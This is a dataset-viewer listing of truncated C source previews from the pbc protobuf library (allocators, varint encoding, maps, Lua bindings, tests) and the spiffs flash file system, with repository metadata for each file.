#include "array.h"
#include "alloc.h"
#include <stdlib.h>
#include <string.h>
struct array {
int number;
struct heap *heap;
union _pbc_var * a;
};
#define INNER_FIELD ((PBC_ARRAY_CAP - sizeof(struct array)) / sizeof(pbc_var))
void
_pbcA_open(pbc_array _array) {
struct array * a = (struct array... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/bootstrap.h | null | null | null | null | null | null | C | 2026-05-04T18:21:10.724787 | #ifndef PROTOBUF_C_BOOTSTRAP_H
#define PROTOBUF_C_BOOTSTRAP_H
#include "proto.h"
#include "pbc.h"
void _pbcB_init(struct pbc_env *);
void _pbcB_register_fields(struct pbc_env *, pbc_array queue);
#endif
|
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | binding/lua53/pbc-lua53.c | null | null | null | null | null | null | C | 2026-05-04T18:21:10.729475 | #ifdef __cplusplus
extern "C" {
#endif
#include "lua.h"
#include "lualib.h"
#include "lauxlib.h"
#ifdef __cplusplus
}
#endif
#if defined(__APPLE__)
#include <malloc/malloc.h>
#else
#include <malloc.h>
#endif
#ifndef _MSC_VER
#include <stdbool.h>
#else
#define alloca _alloca
#endif
#include <string.h>
#include <stdli... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/array.h | null | null | null | null | null | null | C | 2026-05-04T18:21:10.730617 | #ifndef PROTOBUF_C_ARRAY_H
#define PROTOBUF_C_ARRAY_H
#include "varint.h"
#include "pbc.h"
#include "alloc.h"
typedef union _pbc_var {
struct longlong integer;
double real;
struct {
const char * str;
int len;
} s;
struct {
int id;
const char * name;
} e;
struct pbc_slice m;
void * p[2];
} pbc_var[1];
... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/alloc.c | null | null | null | null | null | null | C | 2026-05-04T18:21:10.758931 | #include <stdlib.h>
#include <stdio.h>
static int _g = 0;
void * _pbcM_malloc(size_t sz) {
++ _g;
return malloc(sz);
}
void _pbcM_free(void *p) {
if (p) {
-- _g;
free(p);
}
}
void* _pbcM_realloc(void *p, size_t sz) {
return realloc(p,sz);
}
void _pbcM_memory() {
printf("%d\n",_g);
}
struct heap_page {
... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | pbc.h | null | null | null | null | null | null | C | 2026-05-04T18:21:10.810893 | #ifndef PROTOBUF_C_H
#define PROTOBUF_C_H
#include <stdio.h>
#include <stdint.h>
#define PBC_ARRAY_CAP 64
#define PBC_NOEXIST -1
#define PBC_INT 1
#define PBC_REAL 2
#define PBC_BOOL 3
#define PBC_ENUM 4
#define PBC_STRING 5
#define PBC_MESSAGE 6
#define PBC_FIXED64 7
#define PBC_FIXED32 8
#define PBC_BYTES 9
#defin... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/alloc.h | null | null | null | null | null | null | C | 2026-05-04T18:21:10.845687 | #ifndef PROTOBUF_C_ALLOC_H
#define PROTOBUF_C_ALLOC_H
#include <stdlib.h>
#include <string.h>
void * _pbcM_malloc(size_t sz);
void _pbcM_free(void *p);
void * _pbcM_realloc(void *p, size_t sz);
void _pbcM_memory();
struct heap;
struct heap * _pbcH_new(int pagesize);
void _pbcH_delete(struct heap *);
void* _pbcH_all... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/context.c | null | null | null | null | null | null | C | 2026-05-04T18:21:10.849476 | #include "pbc.h"
#include "alloc.h"
#include "varint.h"
#include "context.h"
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifndef _MSC_VER
#include <stdbool.h>
#endif
#define INNER_ATOM ((PBC_CONTEXT_CAP - sizeof(struct context)) / sizeof(struct atom))
static char *
wiretype_decode(uint8_t *buffer, i... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/bootstrap.c | null | null | null | null | null | null | C | 2026-05-04T18:21:10.864279 | #include "pbc.h"
#include "map.h"
#include "context.h"
#include "pattern.h"
#include "proto.h"
#include "alloc.h"
#include "bootstrap.h"
#include "stringpool.h"
#include "array.h"
#include "descriptor.pbc.h"
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <stdint.h>
/*
// Descriptor
// google.p... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | binding/lua/pbc-lua.c | null | null | null | null | null | null | C | 2026-05-04T18:21:10.921604 | #ifdef __cplusplus
extern "C" {
#endif
#include "lua.h"
#include "lualib.h"
#include "lauxlib.h"
#include "pbc.h"
#ifdef __cplusplus
}
#endif
#include <stdbool.h>
#if defined(__APPLE__)
#include <malloc/malloc.h>
#else
#include <malloc.h>
#endif
#ifndef _MSC_VER
#include <stdbool.h>
#else
#define alloca _a... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/descriptor.pbc.h | null | null | null | null | null | null | C | 2026-05-04T18:21:11.327299 | static unsigned char pbc_descriptor[] = {
72,1,72,2,72,3,72,4,72,5,72,6,72,7,72,8,
72,9,72,10,72,11,72,12,72,13,72,14,72,15,72,16,
72,17,72,18,72,1,72,2,72,3,72,1,72,2,72,3,
72,0,72,1,72,2,50,42,103,111,111,103,108,101,46,112,
114,111,116,111,98,117,102,46,70,105,101,108,100,68,101,115,
99,114,105,112,116,111,114,80,11... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/decode.c | null | null | null | null | null | null | C | 2026-05-04T18:21:11.357398 | #include "pbc.h"
#include "alloc.h"
#include "context.h"
#include "proto.h"
#include "varint.h"
#include <assert.h>
static const char * TYPENAME[] = {
"invalid", // 0
"integer", // 1
"real", // 2
"boolean", // 3
"enum", // 4
"string", // 5
"message", // 6
"fixed64", // 7
"fixed32", // 8
"bytes", // 9
"int6... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/map.h | null | null | null | null | null | null | C | 2026-05-04T18:21:11.369137 | #ifndef PROTOBUF_C_MAP_H
#define PROTOBUF_C_MAP_H
#include "alloc.h"
struct map_ip;
struct map_si;
struct map_sp;
struct map_kv {
int id;
void *pointer;
};
struct map_si * _pbcM_si_new(struct map_kv * table, int size);
int _pbcM_si_query(struct map_si *map, const char *key, int *result);
void _pbcM_si_delete(stru... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/map.c | null | null | null | null | null | null | C | 2026-05-04T18:21:11.401294 | #include "map.h"
#include "alloc.h"
#include <stdlib.h>
#include <string.h>
struct _pbcM_ip_slot {
int id;
void * pointer;
int next;
};
struct map_ip {
size_t array_size;
void ** array;
size_t hash_size;
struct _pbcM_ip_slot * slot;
};
struct _pbcM_si_slot {
const char *key;
size_t hash;
int id;
int next... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/proto.c | null | null | null | null | null | null | C | 2026-05-04T18:21:11.439729 | #include "pbc.h"
#include "proto.h"
#include "pattern.h"
#include "map.h"
#include "alloc.h"
#include "stringpool.h"
#include "bootstrap.h"
#include <stdlib.h>
#include <string.h>
const char *
pbc_error(struct pbc_env * p) {
const char *err = p->lasterror;
p->lasterror = "";
return err;
}
struct _message *
_pbc... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/pattern.h | null | null | null | null | null | null | C | 2026-05-04T18:21:11.446648 | #ifndef PROTOBUF_C_PATTERN_H
#define PROTOBUF_C_PATTERN_H
#include "pbc.h"
#include "context.h"
#include "array.h"
struct _pattern_field {
int id;
int offset;
int ptype;
int ctype;
int label;
pbc_var defv;
};
struct pbc_pattern {
struct pbc_env * env;
int count;
struct _pattern_field f[1];
};
struct pbc_pa... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/pattern.c | null | null | null | null | null | null | C | 2026-05-04T18:21:11.462063 | #include "alloc.h"
#include "context.h"
#include "varint.h"
#include "pattern.h"
#include "array.h"
#include "proto.h"
#include "map.h"
#include <stdint.h>
#ifndef _MSC_VER
#include <stdbool.h>
#endif
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <stdarg.h>
static void
set_default_v(void * outp... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/proto.h | null | null | null | null | null | null | C | 2026-05-04T18:21:11.469741 | #ifndef PROTOBUFC_PROTO_H
#define PROTOBUFC_PROTO_H
#include "pbc.h"
#include "map.h"
#include "array.h"
#ifndef _MSC_VER
#include <stdbool.h>
#endif
#include <stddef.h>
struct map_ip;
struct map_si;
struct map_sp;
struct _message;
struct _enum;
#define LABEL_OPTIONAL 0
#define LABEL_REQUIRED 1
#define LABEL_REPEATE... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/context.h | null | null | null | null | null | null | C | 2026-05-04T18:21:11.470937 | #ifndef PROTOBUF_C_CONTEXT_H
#define PROTOBUF_C_CONTEXT_H
#include <stdint.h>
#include "array.h"
#define PBC_CONTEXT_CAP 256
// wiretype
#define WT_VARINT 0
#define WT_BIT64 1
#define WT_LEND 2
#define WT_BIT32 5
#define CTYPE_INT32 1
#define CTYPE_INT64 2
#define CTYPE_DOUBLE 3
#define CTYPE_FLOAT 4
#define CTYP... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/register.c | null | null | null | null | null | null | C | 2026-05-04T18:21:11.700103 | #include "pbc.h"
#include "proto.h"
#include "alloc.h"
#include "map.h"
#include "bootstrap.h"
#include "context.h"
#include "stringpool.h"
#include <string.h>
#include <stdlib.h>
#ifdef _MSC_VER
#define strtoll _strtoi64
#endif
static const char *
_concat_name(struct _stringpool *p , const char *prefix , int prefi... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/rmessage.c | null | null | null | null | null | null | C | 2026-05-04T18:21:11.915883 | #include "pbc.h"
#include "alloc.h"
#include "map.h"
#include "context.h"
#include "proto.h"
#include "pattern.h"
#include "varint.h"
#include <stddef.h>
#include <string.h>
struct pbc_rmessage {
struct _message * msg;
struct map_sp * index; // key -> struct value *
struct heap * heap;
};
union _var {
pbc_var... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/stringpool.h | null | null | null | null | null | null | C | 2026-05-04T18:21:11.935113 | #ifndef PROTOBUF_C_STRINGPOOL_H
#define PROTOBUF_C_STRINGPOOL_H
struct _stringpool;
struct _stringpool * _pbcS_new(void);
void _pbcS_delete(struct _stringpool *pool);
const char * _pbcS_build(struct _stringpool *pool, const char * str , int sz);
#endif
|
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/stringpool.c | null | null | null | null | null | null | C | 2026-05-04T18:21:12.021778 | #include "alloc.h"
#include <stdlib.h>
#include <string.h>
#define PAGE_SIZE 256
struct _stringpool {
char * buffer;
size_t len;
struct _stringpool *next;
};
struct _stringpool *
_pbcS_new(void) {
struct _stringpool * ret = (struct _stringpool *)malloc(sizeof(struct _stringpool) + PAGE_SIZE);
ret->buffer = (c... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/varint.c | null | null | null | null | null | null | C | 2026-05-04T18:21:12.060735 | #include "varint.h"
#include "pbc.h"
#include <stdint.h>
inline int
_pbcV_encode32(uint32_t number, uint8_t buffer[10])
{
if (number < 0x80) {
buffer[0] = (uint8_t) number ;
return 1;
}
buffer[0] = (uint8_t) (number | 0x80 );
if (number < 0x4000) {
buffer[1] = (uint8_t) (number >> 7 );
return 2;
}
buf... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/varint.h | null | null | null | null | null | null | C | 2026-05-04T18:21:12.065738 | #ifndef PROTOBUF_C_VARINT_H
#define PROTOBUF_C_VARINT_H
#include <stdint.h>
struct longlong {
uint32_t low;
uint32_t hi;
};
int _pbcV_encode32(uint32_t number, uint8_t buffer[10]);
int _pbcV_encode(uint64_t number, uint8_t buffer[10]);
int _pbcV_zigzag32(int32_t number, uint8_t buffer[10]);
int _pbcV_zigzag(int64_... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/array.c | null | null | null | null | null | null | C | 2026-05-04T18:21:12.080594 | #include "pbc.h"
#include "alloc.h"
#include "array.h"
#include <stdio.h>
int
main()
{
pbc_array array;
pbc_var v;
_pbcA_open(array);
int i ;
for (i=0;i<100;i++) {
v->real = (double)i;
printf("push %d\n",i);
_pbcA_push(array, v);
}
int s = pbc_array_size(array);
for (i=0;i<s;i++) {
_pbcA_index(ar... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/addressbook.c | null | null | null | null | null | null | C | 2026-05-04T18:21:12.082768 | #include "pbc.h"
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <stddef.h>
#include "readfile.h"
static void
dump(uint8_t *buffer, int sz) {
int i , j;
for (i=0;i<sz;i++) {
printf("%02X ",buffer[i]);
if (i % 16 == 15) {
for (j = 0 ;j <16 ;j++) {
char c = buffer[i/16 * 16+j];
if ... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/wmessage.c | null | null | null | null | null | null | C | 2026-05-04T18:21:12.087179 | #include "pbc.h"
#include "context.h"
#include "alloc.h"
#include "varint.h"
#include "map.h"
#include "proto.h"
#include <stdint.h>
#include <string.h>
#include <assert.h>
#ifndef _MSC_VER
#include <stdbool.h>
#endif
#define WMESSAGE_SIZE 64
struct pbc_wmessage {
struct _message *type;
uint8_t * buffer;
uint8_t... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/decode.c | null | null | null | null | null | null | C | 2026-05-04T18:21:12.172805 | #include "pbc.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "readfile.h"
static void
decode_all(void *ud , int type, const char * typename , union pbc_value *v, int id, const char *key) {
printf("%s : ", key ) ;
switch(type & ~PBC_REPEATED) {
case PBC_MESSAGE:
printf("[%s] -> \n" , typ... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/float.c | null | null | null | null | null | null | C | 2026-05-04T18:21:12.321674 | #include "pbc.h"
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <stddef.h>
#include "readfile.h"
static void
dump(uint8_t *buffer, int sz) {
int i , j;
for (i=0;i<sz;i++) {
printf("%02X ",buffer[i]);
if (i % 16 == 15) {
for (j = 0 ;j <16 ;j++) {
char c = buffer[i/16 * 16+j];
if ... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/pattern.c | null | null | null | null | null | null | C | 2026-05-04T18:21:12.939768 | #include "pbc.h"
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <stddef.h>
#include "readfile.h"
static void
dump(uint8_t *buffer, int sz) {
int i , j;
for (i=0;i<sz;i++) {
printf("%02X ",buffer[i]);
if (i % 16 == 15) {
for (j = 0 ;j <16 ;j++) {
char c = buffer[i/16 * 16+j];
if ... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/readfile.h | null | null | null | null | null | null | C | 2026-05-04T18:21:12.996870 | #ifndef readfile_h
#define readfile_h
#include <stdio.h>
#include <stdlib.h>
static void
read_file (const char *filename , struct pbc_slice *slice) {
FILE *f = fopen(filename, "rb");
if (f == NULL) {
slice->buffer = NULL;
slice->len = 0;
return;
}
fseek(f,0,SEEK_END);
slice->len = ftell(f);
fseek(f,0,SEEK... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/map.c | null | null | null | null | null | null | C | 2026-05-04T18:21:13.020115 | #include "src/map.h"
#include <stdio.h>
#include <stddef.h>
int
main()
{
struct map_kv kv[] = {
{1,"alice"},
{3,"bob" },
{99,"carol"},
};
struct map_ip * map = _pbcM_ip_new(kv, sizeof(kv)/sizeof(kv[0]));
struct map_si * map2 = _pbcM_si_new(kv, sizeof(kv)/sizeof(kv[0]));
int i;
for (i=0;i<100;i++) {
... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/pbc.c | null | null | null | null | null | null | C | 2026-05-04T18:21:13.040596 | #include "pbc.h"
#include <stdlib.h>
#include <stdio.h>
#include "readfile.h"
void
test_des(struct pbc_env * env , const char * pb)
{
struct pbc_slice slice;
read_file(pb, &slice);
struct pbc_rmessage * msg = pbc_rmessage_new(env, "google.protobuf.FileDescriptorSet", &slice);
struct pbc_rmessage * file = pbc_r... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | tool/dump.c | null | null | null | null | null | null | C | 2026-05-04T18:21:13.052412 | #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include "pbc.h"
static void
read_file(const char *filename , struct pbc_slice *slice) {
FILE *f = fopen(filename, "rb");
if (f == NULL) {
fprintf(stderr, "Can't open file %s\n", filename);
exit(1);
}
fseek(f,0,SEEK_END);
slice->l... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/test.c | null | null | null | null | null | null | C | 2026-05-04T18:21:13.064421 | #include "pbc.h"
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#define COUNT 1000000
#include "readfile.h"
static void
test(struct pbc_env *env) {
int i;
for(i=0; i<COUNT; i++)
{
struct pbc_wmessage* w_msg = pbc_wmessage_new(env, "at");
struct pbc_rmessage* r_msg = NULL;
struct pbc_slice sl... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | test/varint.c | null | null | null | null | null | null | C | 2026-05-04T18:21:13.176998 | #include <stdio.h>
#include "varint.h"
#include "pbc.h"
static void
dump(uint8_t buffer[10], int s)
{
int i;
for (i=0;i<s;i++) {
printf("%02X ",buffer[i]);
}
printf("\n");
}
static void
encode(uint64_t n)
{
uint8_t buffer[10];
dump(buffer,varint_encode(n,buffer));
}
static void
decode(uint8_t buffer[10])
{... |
pellepl/spiffs | https://github.com/pellepl/spiffs | null | null | null | null | 1,613 | null | null | mit | null | null | null | null | null | null | null | src/default/spiffs_config.h | null | null | null | null | null | null | C | 2026-05-04T18:21:15.811583 | /*
* spiffs_config.h
*
* Created on: Jul 3, 2013
* Author: petera
*/
#ifndef SPIFFS_CONFIG_H_
#define SPIFFS_CONFIG_H_
// ----------- 8< ------------
// Following includes are for the linux test build of spiffs
// These may/should/must be removed/altered/replaced in your target
#include "params_test.h"
#in... |
pellepl/spiffs | https://github.com/pellepl/spiffs | null | null | null | null | 1,613 | null | null | mit | null | null | null | null | null | null | null | src/spiffs_hydrogen.c | null | null | null | null | null | null | C | 2026-05-04T18:21:15.822301 | /*
* spiffs_hydrogen.c
*
* Created on: Jun 16, 2013
* Author: petera
*/
#include "spiffs.h"
#include "spiffs_nucleus.h"
#if SPIFFS_CACHE == 1
static s32_t spiffs_fflush_cache(spiffs *fs, spiffs_file fh);
#endif
#if SPIFFS_BUFFER_HELP
u32_t SPIFFS_buffer_bytes_for_filedescs(spiffs *fs, u32_t num_descs) {
... |
pellepl/spiffs | https://github.com/pellepl/spiffs | null | null | null | null | 1,613 | null | null | mit | null | null | null | null | null | null | null | py/params_test.h | null | null | null | null | null | null | C | 2026-05-04T18:21:15.824738 | #include <stdint.h>
typedef int32_t s32_t;
typedef uint32_t u32_t;
typedef int16_t s16_t;
typedef uint16_t u16_t;
typedef int8_t s8_t;
typedef uint8_t u8_t;
|
pellepl/spiffs | https://github.com/pellepl/spiffs | null | null | null | null | 1,613 | null | null | mit | null | null | null | null | null | null | null | src/spiffs_check.c | null | null | null | null | null | null | C | 2026-05-04T18:21:15.825909 | /*
* spiffs_check.c
*
* Contains functionality for checking file system consistency
* and mending problems.
* Three levels of consistency checks are implemented:
*
* Look up consistency
* Checks if indices in lookup pages are coherent with page headers
* Object index consistency
* Checks if there are any ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.